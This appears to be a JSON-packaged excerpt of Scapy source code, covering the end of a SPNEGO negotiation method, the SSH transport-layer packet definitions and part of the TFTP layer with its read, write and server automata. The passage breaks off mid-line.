isinstance(input_token, SPNEGO_negTokenInit):\n            if input_token.mechTypes is not None:\n                Context.other_mechtypes = input_token.mechTypes\n            if input_token.mechToken:\n                input_token_inner = input_token.mechToken.value\n        elif isinstance(input_token, SPNEGO_negTokenResp):\n            if input_token.supportedMech is not None:\n                Context.other_mechtypes = [input_token.supportedMech]\n            if input_token.responseToken:\n                input_token_inner = input_token.responseToken.value\n        else:\n            # Raw.\n            input_token_inner = input_token\n\n        if Context.other_mechtypes is None:\n            self.GuessOtherMechtypes(Context, input_token)\n\n        # Uninitialized OR allowed mechtypes have changed\n        if Context.ssp is None or Context.ssp_mechtype not in Context.other_mechtypes:\n            try:\n                Context.negotiate_ssp()\n            except ValueError:\n                # Couldn't find common SSP\n                return Context, GSS_S_FAILURE\n\n        # Passthrough\n        Context.ssp_context, status = Context.ssp.GSS_Passive(\n            Context.ssp_context,\n            input_token_inner,\n            req_flags=req_flags,\n        )\n\n        return Context, status\n\n    def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False):\n        Context.ssp.GSS_Passive_set_Direction(\n            Context.ssp_context, IsAcceptor=IsAcceptor\n        )\n\n    def MaximumSignatureLength(self, Context: CONTEXT):\n        return Context.ssp.MaximumSignatureLength(Context.ssp_context)\n"
  },
  {
    "path": "scapy/layers/ssh.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nSecure Shell (SSH) Transport Layer Protocol\n\nRFC 4250, 4251, 4252, 4253 and 4254\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.compat import plain_str\nfrom scapy.fields import (\n    BitLenField,\n    ByteField,\n    ByteEnumField,\n    IntEnumField,\n    IntField,\n    PacketField,\n    PacketListField,\n    PacketLenField,\n    FieldLenField,\n    FieldListField,\n    StrLenField,\n    StrFixedLenField,\n    StrNullField,\n    YesNoByteField,\n)\nfrom scapy.packet import Packet, bind_bottom_up, bind_layers\n\nfrom scapy.layers.inet import TCP\n\n\nclass StrCRLFField(StrNullField):\n    DELIMITER = b\"\\r\\n\"\n\n\nclass _SSHHeaderField(FieldListField):\n    def getfield(self, pkt, s):\n        val = []\n        while s:\n            s, v = self.field.getfield(pkt, s)\n            val.append(v)\n            if v[:4] == b\"SSH-\":\n                return s, val\n        return s, val\n\n\n# RFC 4251 - SSH Architecture\n# This RFC defines some types\n\n# RFC 4251 - sect 5\n\n\nclass _ComaStrField(StrLenField):\n    islist = 1\n\n    def m2i(self, pkt, x):\n        return super(_ComaStrField, self).m2i(pkt, x).split(b\",\")\n\n    def i2m(self, pkt, x):\n        return super(_ComaStrField, self).i2m(pkt, b\",\".join(x))\n\n\nclass SSHString(Packet):\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"value\", fmt=\"!I\"),\n        StrLenField(\"value\", 0, length_from=lambda pkt: pkt.length),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass SSHPacketStringField(PacketField):\n    __slots__ = [\"sub_cls\"]\n\n    def __init__(self, name, sub_cls):\n        self.sub_cls = sub_cls\n        super(SSHPacketStringField, self).__init__(name, SSHString(), SSHString)\n\n    def m2i(self, pkt, x):\n        x = super(SSHPacketStringField, self).m2i(pkt, x)\n        x.value = self.sub_cls(x.value)\n        return x\n\n\nclass NameList(Packet):\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"names\", fmt=\"!I\"),\n        _ComaStrField(\"names\", [], length_from=lambda pkt: pkt.length),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass Mpint(Packet):\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"value\", fmt=\"!I\"),\n        BitLenField(\"value\", 0, length_from=lambda pkt: pkt.length * 8),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# RFC4250 - sect 4.1.2\n\n_SSH_message_numbers = {\n    # RFC4253 - SSH-TRANS\n    1: \"SSH_MSG_DISCONNECT\",\n    2: \"SSH_MSG_IGNORE\",\n    3: \"SSH_MSG_UNIMPLEMENTED\",\n    4: \"SSH_MSG_DEBUG\",\n    5: \"SSH_MSG_SERVICE_REQUEST\",\n    6: \"SSH_MSG_SERVICE_ACCEPT\",\n    7: \"SSH_MSG_EXT_INFO\",  # RFC 8308\n    8: \"SSH_MSG_NEWCOMPRESS\",\n    20: \"SSH_MSG_KEXINIT\",\n    21: \"SSH_MSG_NEWKEYS\",\n    # Errata 152 of RFC4253\n    30: \"SSH_MSG_KEXDH_INIT\",\n    31: \"SSH_MSG_KEXDH_REPLY\",\n    # RFC4252 - SSH-USERAUTH\n    50: \"SSH_MSG_USERAUTH_REQUEST\",\n    51: \"SSH_MSG_USERAUTH_FAILURE\",\n    52: \"SSH_MSG_USERAUTH_SUCCESS\",\n    53: \"SSH_MSG_USERAUTH_BANNER\",\n    # RFC4254 - SSH-CONNECT\n    80: \"SSH_MSG_GLOBAL_REQUEST\",\n    81: \"SSH_MSG_REQUEST_SUCCESS\",\n    82: \"SSH_MSG_REQUEST_FAILURE\",\n    90: \"SSH_MSG_CHANNEL_OPEN\",\n    91: \"SSH_MSG_CHANNEL_OPEN_CONFIRMATION\",\n    92: \"SSH_MSG_CHANNEL_OPEN_FAILURE\",\n    93: \"SSH_MSG_CHANNEL_WINDOW_ADJUST\",\n    94: \"SSH_MSG_CHANNEL_DATA\",\n    95: \"SSH_MSG_CHANNEL_EXTENDED_DATA\",\n    96: \"SSH_MSG_CHANNEL_EOF\",\n    97: \"SSH_MSG_CHANNEL_CLOSE\",\n    98: \"SSH_MSG_CHANNEL_REQUEST\",\n    99: \"SSH_MSG_CHANNEL_SUCCESS\",\n    100: \"SSH_MSG_CHANNEL_FAILURE\",\n}\n\n# RFC4253 - sect 6\n\n_SSH_messages = {}\n\n\ndef _SSHPayload(x, **kwargs):\n    return _SSH_messages.get(x and x[0], conf.raw_layer)(x)\n\n\nclass SSH(Packet):\n    name = \"SSH - Binary Packet\"\n    fields_desc = [\n        IntField(\"packet_length\", None),\n        ByteField(\"padding_length\", None),\n        PacketLenField(\n            \"pay\",\n            None,\n            _SSHPayload,\n            length_from=lambda pkt: pkt.packet_length - pkt.padding_length - 1,\n        ),\n        StrLenField(\"random_padding\", b\"\", length_from=lambda pkt: pkt.padding_length),\n        # StrField(\"mac\", b\"\"),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 4 and _pkt[:4] == b\"SSH-\":\n            return SSHVersionExchange\n        return cls\n\n    def mysummary(self):\n        if self.pay:\n            if isinstance(self.pay, conf.raw_layer):\n                return \"SSH type \" + str(self.pay.load[0]), [TCP, SSH]\n            return \"SSH \" + self.pay.sprintf(\"%type%\"), [TCP, SSH]\n        return \"SSH\", [TCP, SSH]\n\n\n# RFC4253 - sect 4.2\n\n\nclass SSHVersionExchange(Packet):\n    name = \"SSH - Protocol Version Exchange\"\n    fields_desc = [\n        _SSHHeaderField(\n            \"lines\",\n            [],\n            StrCRLFField(\"\", b\"\"),\n        )\n    ]\n\n    def mysummary(self):\n        return \"SSH - Version Exchange %s\" % plain_str(self.lines[-1]), [TCP]\n\n\n# RFC4253 - sect 6.6\n\n_SSH_certificates = {}\n_SSH_publickeys = {}\n_SSH_signatures = {}\n\n\nclass _SSHCertificate(PacketField):\n    def m2i(self, pkt, x):\n        return _SSH_certificates.get(pkt.format_identifier.value, self.cls)(x)\n\n\nclass _SSHPublicKey(PacketField):\n    def m2i(self, pkt, x):\n        return _SSH_publickeys.get(pkt.format_identifier.value, self.cls)(x)\n\n\nclass _SSHSignature(PacketField):\n    def m2i(self, pkt, x):\n        return _SSH_signatures.get(pkt.format_identifier.value, self.cls)(x)\n\n\nclass SSHCertificate(Packet):\n    fields_desc = [\n        PacketField(\"format_identifier\", SSHString(), SSHString),\n        _SSHCertificate(\"data\", None, conf.raw_layer),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass SSHPublicKey(Packet):\n    fields_desc = [\n        PacketField(\"format_identifier\", SSHString(), SSHString),\n        _SSHPublicKey(\"data\", None, conf.raw_layer),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass SSHSignature(Packet):\n    fields_desc = [\n        PacketField(\"format_identifier\", SSHString(), SSHString),\n        _SSHSignature(\"data\", None, conf.raw_layer),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# RFC4253 - sect 7.1\n\n\nclass SSHKexInit(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 20, _SSH_message_numbers),\n        StrFixedLenField(\"cookie\", b\"\", length=16),\n        PacketField(\"kex_algorithms\", NameList(), NameList),\n        PacketField(\"server_host_key_algorithms\", NameList(), NameList),\n        PacketField(\"encryption_algorithms_client_to_server\", NameList(), NameList),\n        PacketField(\"encryption_algorithms_server_to_client\", NameList(), NameList),\n        PacketField(\"mac_algorithms_client_to_server\", NameList(), NameList),\n        PacketField(\"mac_algorithms_server_to_client\", NameList(), NameList),\n        PacketField(\"compression_algorithms_client_to_server\", NameList(), NameList),\n        PacketField(\"compression_algorithms_server_to_client\", NameList(), NameList),\n        PacketField(\"languages_client_to_server\", NameList(), NameList),\n        PacketField(\"languages_server_to_client\", NameList(), NameList),\n        YesNoByteField(\"first_kex_packet_follows\", 0),\n        IntField(\"reserved\", 0),\n    ]\n\n\n_SSH_messages[20] = SSHKexInit\n\n# RFC4253 - sect 7.3\n\n\nclass SSHNewKeys(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 21, _SSH_message_numbers),\n    ]\n\n\n_SSH_messages[21] = SSHNewKeys\n\n\n# RFC4253 - sect 8\n\n\nclass SSHKexDHInit(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 30, _SSH_message_numbers),\n        PacketField(\"e\", Mpint(), Mpint),\n    ]\n\n\n_SSH_messages[30] = SSHKexDHInit\n\n\nclass SSHKexDHReply(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 31, _SSH_message_numbers),\n        SSHPacketStringField(\"K_S\", SSHPublicKey),\n        PacketField(\"f\", Mpint(), Mpint),\n        SSHPacketStringField(\"H_hash\", SSHSignature),\n    ]\n\n\n_SSH_messages[31] = SSHKexDHReply\n\n# RFC4253 - sect 10\n\n\nclass SSHServiceRequest(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 5, _SSH_message_numbers),\n        PacketField(\"service_name\", SSHString(), SSHString),\n    ]\n\n\n_SSH_messages[5] = SSHServiceRequest\n\n\nclass SSHServiceAccept(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 6, _SSH_message_numbers),\n        PacketField(\"service_name\", SSHString(), SSHString),\n    ]\n\n\n_SSH_messages[6] = SSHServiceAccept\n\n# RFC4253 - sect 11.1\n\n\nclass SSHDisconnect(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 1, _SSH_message_numbers),\n        IntEnumField(\n            \"reason_code\",\n            0,\n            {\n                1: \"SSH_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT\",\n                2: \"SSH_DISCONNECT_PROTOCOL_ERROR\",\n                3: \"SSH_DISCONNECT_KEY_EXCHANGE_FAILED\",\n                4: \"SSH_DISCONNECT_RESERVED\",\n                5: \"SSH_DISCONNECT_MAC_ERROR\",\n                6: \"SSH_DISCONNECT_COMPRESSION_ERROR\",\n                7: \"SSH_DISCONNECT_SERVICE_NOT_AVAILABLE\",\n                8: \"SSH_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED\",\n                9: \"SSH_DISCONNECT_HOST_KEY_NOT_VERIFIABLE\",\n                10: \"SSH_DISCONNECT_CONNECTION_LOST\",\n                11: \"SSH_DISCONNECT_BY_APPLICATION\",\n                12: \"SSH_DISCONNECT_TOO_MANY_CONNECTIONS\",\n                13: \"SSH_DISCONNECT_AUTH_CANCELLED_BY_USER\",\n                14: \"SSH_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE\",\n                15: \"SSH_DISCONNECT_ILLEGAL_USER_NAME\",\n            },\n        ),\n        PacketField(\"description\", SSHString(), SSHString),\n        PacketField(\"language_tag\", SSHString(), SSHString),\n    ]\n\n\n_SSH_messages[1] = SSHDisconnect\n\n# RFC4253 - sect 11.2\n\n\nclass SSHIgnore(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 2, _SSH_message_numbers),\n        PacketField(\"data\", SSHString(), SSHString),\n    ]\n\n\n_SSH_messages[2] = SSHIgnore\n\n# RFC4253 - sect 11.3\n\n\nclass SSHServiceDebug(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 4, _SSH_message_numbers),\n        YesNoByteField(\"always_display\", 0),\n        PacketField(\"message\", SSHString(), SSHString),\n        PacketField(\"language_tag\", SSHString(), SSHString),\n    ]\n\n\n_SSH_messages[4] = SSHServiceDebug\n\n# RFC4253 - sect 11.4\n\n\nclass SSHUnimplemented(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 3, _SSH_message_numbers),\n        IntField(\"seq_num\", 0),\n    ]\n\n\n_SSH_messages[3] = SSHUnimplemented\n\n# RFC8308 - sect 2.3\n\n\nclass SSHExtension(Packet):\n    fields_desc = [\n        PacketField(\"extension_name\", SSHString(), SSHString),\n        PacketField(\"extension_value\", SSHString(), SSHString),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass SSHExtInfo(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 7, _SSH_message_numbers),\n        FieldLenField(\"nr_extensions\", None, length_of=\"extensions\"),\n        PacketListField(\"extensions\", [], SSHExtension),\n    ]\n\n\n_SSH_messages[7] = SSHExtInfo\n\n# RFC8308 - sect 3.2\n\n\nclass SSHNewCompress(Packet):\n    fields_desc = [\n        ByteEnumField(\"type\", 3, _SSH_message_numbers),\n    ]\n\n\n_SSH_messages[8] = SSHNewCompress\n\n# RFC8709\n\n\nclass SSHPublicKeyEd25519(Packet):\n    fields_desc = [\n        PacketField(\"key\", SSHString(), SSHString),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_SSH_publickeys[b\"ssh-ed25519\"] = SSHPublicKeyEd25519\n\n\nclass SSHPublicKeyEd448(Packet):\n    fields_desc = [\n        PacketField(\"key\", SSHString(), SSHString),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_SSH_publickeys[b\"ssh-ed448\"] = SSHPublicKeyEd448\n\n\nclass SSHSignatureEd25519(Packet):\n    fields_desc = [\n        PacketField(\"key\", SSHString(), SSHString),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_SSH_signatures[b\"ssh-ed25519\"] = SSHSignatureEd25519\n\n\nclass SSHSignatureEd448(Packet):\n    fields_desc = [\n        PacketField(\"key\", SSHString(), SSHString),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_SSH_signatures[b\"ssh-ed448\"] = SSHSignatureEd448\n\nbind_layers(SSH, SSH)\n\nbind_bottom_up(TCP, SSH, sport=22)\nbind_layers(TCP, SSH, dport=22)\n"
  },
  {
    "path": "scapy/layers/tftp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nTFTP (Trivial File Transfer Protocol).\n\nThis provides TFTP implementation and 4 small automata:\n    - TFTP_read: read a remote file\n    - TFTP_RRQ_server: server that answers to read requests\n    - TFTP_write: write a remote file\n    - TFTP_WRQ_server: server than accepts write requests\n\"\"\"\n\nimport os\nimport random\n\nfrom scapy.packet import Packet, bind_layers, split_bottom_up, bind_bottom_up\nfrom scapy.fields import (\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrNullField,\n)\nfrom scapy.automaton import ATMT, Automaton\nfrom scapy.base_classes import Net\nfrom scapy.config import conf\nfrom scapy.sessions import IPSession\nfrom scapy.volatile import RandShort\n\nfrom scapy.layers.inet import UDP, IP\n\nTFTP_operations = {1: \"RRQ\", 2: \"WRQ\", 3: \"DATA\", 4: \"ACK\", 5: \"ERROR\", 6: \"OACK\"}  # noqa: E501\n\n\nclass TFTP(Packet):\n    name = \"TFTP opcode\"\n    fields_desc = [ShortEnumField(\"op\", 1, TFTP_operations), ]\n\n\nclass TFTP_RRQ(Packet):\n    name = \"TFTP Read Request\"\n    fields_desc = [StrNullField(\"filename\", \"\"),\n                   StrNullField(\"mode\", \"octet\")]\n\n    def answers(self, other):\n        return 0\n\n    def mysummary(self):\n        return self.sprintf(\"RRQ %filename%\"), [UDP]\n\n\nclass TFTP_WRQ(Packet):\n    name = \"TFTP Write Request\"\n    fields_desc = [StrNullField(\"filename\", \"\"),\n                   StrNullField(\"mode\", \"octet\")]\n\n    def answers(self, other):\n        return 0\n\n    def mysummary(self):\n        return self.sprintf(\"WRQ %filename%\"), [UDP]\n\n\nclass TFTP_DATA(Packet):\n    name = \"TFTP Data\"\n    fields_desc = [ShortField(\"block\", 0)]\n\n    def answers(self, other):\n        return self.block == 1 and isinstance(other, TFTP_RRQ)\n\n    def mysummary(self):\n        return self.sprintf(\"DATA %block%\"), [UDP]\n\n\nclass TFTP_Option(Packet):\n    fields_desc = [StrNullField(\"oname\", \"\"),\n                   StrNullField(\"value\", \"\")]\n\n    def extract_padding(self, pkt):\n        return \"\", pkt\n\n\nclass TFTP_Options(Packet):\n    fields_desc = [PacketListField(\"options\", [], TFTP_Option, length_from=lambda x:None)]  # noqa: E501\n\n\nclass TFTP_ACK(Packet):\n    name = \"TFTP Ack\"\n    fields_desc = [ShortField(\"block\", 0)]\n\n    def answers(self, other):\n        if isinstance(other, TFTP_DATA):\n            return self.block == other.block\n        elif isinstance(other, (TFTP_RRQ, TFTP_WRQ, TFTP_OACK)):  # noqa: E501\n            return self.block == 0\n        return 0\n\n    def mysummary(self):\n        return self.sprintf(\"ACK %block%\"), [UDP]\n\n\nTFTP_Error_Codes = {0: \"Not defined\",\n                    1: \"File not found\",\n                    2: \"Access violation\",\n                    3: \"Disk full or allocation exceeded\",\n                    4: \"Illegal TFTP operation\",\n                    5: \"Unknown transfer ID\",\n                    6: \"File already exists\",\n                    7: \"No such user\",\n                    8: \"Terminate transfer due to option negotiation\",\n                    }\n\n\nclass TFTP_ERROR(Packet):\n    name = \"TFTP Error\"\n    fields_desc = [ShortEnumField(\"errorcode\", 0, TFTP_Error_Codes),\n                   StrNullField(\"errormsg\", \"\")]\n\n    def answers(self, other):\n        return isinstance(other, (TFTP_DATA, TFTP_RRQ, TFTP_WRQ, TFTP_ACK))\n\n    def mysummary(self):\n        return self.sprintf(\"ERROR %errorcode%: %errormsg%\"), [UDP]\n\n\nclass TFTP_OACK(Packet):\n    name = \"TFTP Option Ack\"\n    fields_desc = []\n\n    def answers(self, other):\n        return isinstance(other, (TFTP_WRQ, TFTP_RRQ))\n\n\nbind_layers(UDP, TFTP, dport=69)\nbind_layers(TFTP, TFTP_RRQ, op=1)\nbind_layers(TFTP, TFTP_WRQ, op=2)\nbind_layers(TFTP, TFTP_DATA, op=3)\nbind_layers(TFTP, TFTP_ACK, op=4)\nbind_layers(TFTP, TFTP_ERROR, op=5)\nbind_layers(TFTP, TFTP_OACK, op=6)\nbind_layers(TFTP_RRQ, TFTP_Options)\nbind_layers(TFTP_WRQ, TFTP_Options)\nbind_layers(TFTP_OACK, TFTP_Options)\n\n\n# Automatons\n\nclass TFTP_read(Automaton):\n    \"\"\"\n    TFTP automaton to read a remote file on a TFTP server.\n\n    :param filename: the name of the remote file to read.\n    :param server: the host on which to read (IP or name).\n    :param sport: (optional) the source port to use. (default: random)\n    :param port: (optional) the TFTP port (default: 69)\n    \"\"\"\n\n    def parse_args(self, filename, server, sport=None, port=69, **kargs):\n        if \"iface\" not in kargs:\n            server = str(Net(server))\n            kargs[\"iface\"] = conf.route.route(server)[0]\n        Automaton.parse_args(self, **kargs)\n        self.filename = filename\n        self.server = server\n        self.port = port\n        self.sport = sport\n\n    def master_filter(self, pkt):\n        return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and\n                pkt[UDP].dport == self.my_tid and\n                (self.server_tid is None or pkt[UDP].sport == self.server_tid))\n\n    # BEGIN\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.blocksize = 512\n        self.my_tid = self.sport or RandShort()._fix()\n        bind_bottom_up(UDP, TFTP, dport=self.my_tid)\n        self.server_tid = None\n        self.res = b\"\"\n\n        self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP()  # noqa: E501\n        self.last_packet = self.l3 / TFTP_RRQ(filename=self.filename, mode=\"octet\")  # noqa: E501\n        self.send(self.last_packet)\n        self.awaiting = 1\n\n        raise self.WAITING()\n\n    # WAITING\n    @ATMT.state()\n    def WAITING(self):\n        pass\n\n    @ATMT.receive_condition(WAITING)\n    def receive_data(self, pkt):\n        if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting:\n            if self.server_tid is None:\n                self.server_tid = pkt[UDP].sport\n                self.l3[UDP].dport = self.server_tid\n            raise self.RECEIVING(pkt)\n\n    @ATMT.receive_condition(WAITING, prio=1)\n    def receive_error(self, pkt):\n        if TFTP_ERROR in pkt:\n            raise self.ERROR(pkt)\n\n    @ATMT.timeout(WAITING, 3)\n    def timeout_waiting(self):\n        raise self.WAITING()\n\n    @ATMT.action(timeout_waiting)\n    def retransmit_last_packet(self):\n        self.send(self.last_packet)\n\n    @ATMT.action(receive_data)\n#    @ATMT.action(receive_error)\n    def send_ack(self):\n        self.last_packet = self.l3 / TFTP_ACK(block=self.awaiting)\n        self.send(self.last_packet)\n\n    # RECEIVED\n    @ATMT.state()\n    def RECEIVING(self, pkt):\n        if conf.raw_layer in pkt:\n            recvd = pkt[conf.raw_layer].load\n        else:\n            recvd = b\"\"\n        self.res += recvd\n        self.awaiting += 1\n        if len(recvd) == self.blocksize:\n            raise self.WAITING()\n        raise self.END()\n\n    # ERROR\n    @ATMT.state(error=1)\n    def ERROR(self, pkt):\n        split_bottom_up(UDP, TFTP, dport=self.my_tid)\n        return pkt[TFTP_ERROR].summary()\n\n    # END\n    @ATMT.state(final=1)\n    def END(self):\n        split_bottom_up(UDP, TFTP, dport=self.my_tid)\n        return self.res\n\n\nclass TFTP_write(Automaton):\n    \"\"\"\n    TFTP automaton to write a local file onto a TFTP server.\n\n    :param filename: the name of the remote file to write.\n    :param data: the bytes data to write.\n    :param server: the host on which to read (IP or name).\n    :param sport: (optional) the source port to use. (default: random)\n    :param port: (optional) the TFTP port (default: 69)\n    \"\"\"\n\n    def parse_args(self, filename, data, server, sport=None, port=69, **kargs):\n        if \"iface\" not in kargs:\n            server = str(Net(server))\n            kargs[\"iface\"] = conf.route.route(server)[0]\n        Automaton.parse_args(self, **kargs)\n        self.filename = filename\n        self.server = server\n        self.port = port\n        self.sport = sport\n        self.blocksize = 512\n        self.origdata = data\n\n    def master_filter(self, pkt):\n        return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and\n                pkt[UDP].dport == self.my_tid and\n                (self.server_tid is None or pkt[UDP].sport == self.server_tid))\n\n    # BEGIN\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.data = [self.origdata[i * self.blocksize:(i + 1) * self.blocksize]\n                     for i in range(len(self.origdata) // self.blocksize + 1)]\n        self.my_tid = self.sport or RandShort()._fix()\n        bind_bottom_up(UDP, TFTP, dport=self.my_tid)\n        self.server_tid = None\n\n        self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP()  # noqa: E501\n        self.last_packet = self.l3 / TFTP_WRQ(filename=self.filename, mode=\"octet\")  # noqa: E501\n        self.send(self.last_packet)\n        self.res = \"\"\n        self.awaiting = 0\n\n        raise self.WAITING_ACK()\n\n    # WAITING_ACK\n    @ATMT.state()\n    def WAITING_ACK(self):\n        pass\n\n    @ATMT.receive_condition(WAITING_ACK)\n    def received_ack(self, pkt):\n        if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting:\n            if self.server_tid is None:\n                self.server_tid = pkt[UDP].sport\n                self.l3[UDP].dport = self.server_tid\n            raise self.SEND_DATA()\n\n    @ATMT.receive_condition(WAITING_ACK)\n    def received_error(self, pkt):\n        if TFTP_ERROR in pkt:\n            raise self.ERROR(pkt)\n\n    @ATMT.timeout(WAITING_ACK, 3)\n    def timeout_waiting(self):\n        raise self.WAITING_ACK()\n\n    @ATMT.action(timeout_waiting)\n    def retransmit_last_packet(self):\n        self.send(self.last_packet)\n\n    # SEND_DATA\n    @ATMT.state()\n    def SEND_DATA(self):\n        self.awaiting += 1\n        self.last_packet = self.l3 / TFTP_DATA(block=self.awaiting) / self.data.pop(0)  # noqa: E501\n        self.send(self.last_packet)\n        if self.data:\n            raise self.WAITING_ACK()\n        raise self.END()\n\n    # ERROR\n    @ATMT.state(error=1)\n    def ERROR(self, pkt):\n        split_bottom_up(UDP, TFTP, dport=self.my_tid)\n        return pkt[TFTP_ERROR].summary()\n\n    # END\n    @ATMT.state(final=1)\n    def END(self):\n        split_bottom_up(UDP, TFTP, dport=self.my_tid)\n\n\nclass TFTP_WRQ_server(Automaton):\n    \"\"\"\n    TFTP automaton to wait for incoming files\n\n    :param ip: (optional) the local IP to listen on.\n    :param sport: (optional) the local port (by default: random)\n    \"\"\"\n\n    def parse_args(self, ip=None, sport=None, *args, **kargs):\n        if \"iface\" not in kargs and ip:\n            ip = str(Net(ip))\n            kargs[\"iface\"] = conf.route.route(ip)[0]\n        kargs.setdefault(\"session\", IPSession())\n        Automaton.parse_args(self, *args, **kargs)\n        self.ip = ip\n        self.sport = sport\n\n    def master_filter(self, pkt):\n        return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip)\n\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.blksize = 512\n        self.blk = 1\n        self.filedata = b\"\"\n        self.my_tid = self.sport or random.randint(10000, 65500)\n        bind_bottom_up(UDP, TFTP, dport=self.my_tid)\n\n    @ATMT.receive_condition(BEGIN)\n    def receive_WRQ(self, pkt):\n        if TFTP_WRQ in pkt:\n            raise self.WAIT_DATA().action_parameters(pkt)\n\n    @ATMT.action(receive_WRQ)\n    def ack_WRQ(self, pkt):\n        ip = pkt[IP]\n        self.ip = ip.dst\n        self.dst = ip.src\n        self.filename = pkt[TFTP_WRQ].filename\n        options = pkt.getlayer(TFTP_Options)\n        self.l3 = IP(src=ip.dst, dst=ip.src) / UDP(sport=self.my_tid, dport=pkt.sport) / TFTP()  # noqa: E501\n        if options is None:\n            self.last_packet = self.l3 / TFTP_ACK(block=0)\n            self.send(self.last_packet)\n        else:\n            opt = [x for x in options.options if x.oname.upper() == b\"BLKSIZE\"]\n            if opt:\n                self.blksize = int(opt[0].value)\n                self.debug(2, \"Negotiated new blksize at %i\" % self.blksize)\n            self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt)  # noqa: E501\n            self.send(self.last_packet)\n\n    @ATMT.state()\n    def WAIT_DATA(self):\n        pass\n\n    @ATMT.timeout(WAIT_DATA, 1)\n    def resend_ack(self):\n        self.send(self.last_packet)\n        raise self.WAIT_DATA()\n\n    @ATMT.receive_condition(WAIT_DATA)\n    def receive_data(self, pkt):\n        if TFTP_DATA in pkt:\n            data = pkt[TFTP_DATA]\n            if data.block == self.blk:\n                raise self.DATA(data)\n\n    @ATMT.action(receive_data)\n    def ack_data(self):\n        self.last_packet = self.l3 / TFTP_ACK(block=self.blk % 65536)\n        self.send(self.last_packet)\n\n    @ATMT.state()\n    def DATA(self, data):\n        self.filedata += data.load\n        if len(data.load) < self.blksize:\n            raise self.END()\n        self.blk += 1\n        raise self.WAIT_DATA()\n\n    @ATMT.state(final=1)\n    def END(self):\n        split_bottom_up(UDP, TFTP, dport=self.my_tid)\n        return self.filename, self.filedata\n\n\nclass TFTP_RRQ_server(Automaton):\n    \"\"\"\n    TFTP automaton to serve local files\n\n    You can't use 'store' and 'dir' at the same time.\n\n    :param store: (optional) a dictionary that contains the file data, like\n                  {\"thefile\": b\"data\"}.\n    :param dir: (optional) a folder that contains the data file data.\n    :param joker: (optional) data to return when no file/data is found.\n    :param ip: (optional) the local IP to listen on.\n    :param sport: (optional) the local port (by default: random)\n    :param serve_one: (optional) close after serving one client (default: False)\n    \"\"\"\n\n    def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs):  # noqa: E501\n        if \"iface\" not in kargs and ip:\n            ip = str(Net(ip))\n            kargs[\"iface\"] = conf.route.route(ip)[0]\n        kargs.setdefault(\"session\", IPSession())\n        Automaton.parse_args(self, **kargs)\n        if store is None:\n            store = {}\n        if dir is not None:\n            self.dir = os.path.join(os.path.abspath(dir), \"\")\n        else:\n            self.dir = None\n        self.store = store\n        self.joker = joker\n        self.ip = ip\n        self.sport = sport\n        self.serve_one = serve_one\n        self.my_tid = self.sport or random.randint(10000, 65500)\n        bind_bottom_up(UDP, TFTP, dport=self.my_tid)\n\n    def master_filter(self, pkt):\n        return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip)\n\n    @ATMT.state(initial=1)\n    def WAIT_RRQ(self):\n        self.blksize = 512\n        self.blk = 0\n\n    @ATMT.receive_condition(WAIT_RRQ)\n    def receive_rrq(self, pkt):\n        if TFTP_RRQ in pkt:\n            raise self.RECEIVED_RRQ(pkt)\n\n    @ATMT.state()\n    def RECEIVED_RRQ(self, pkt):\n        ip = pkt[IP]\n        options = pkt.getlayer(TFTP_Options)\n        self.l3 = IP(src=ip.dst, dst=ip.src) / 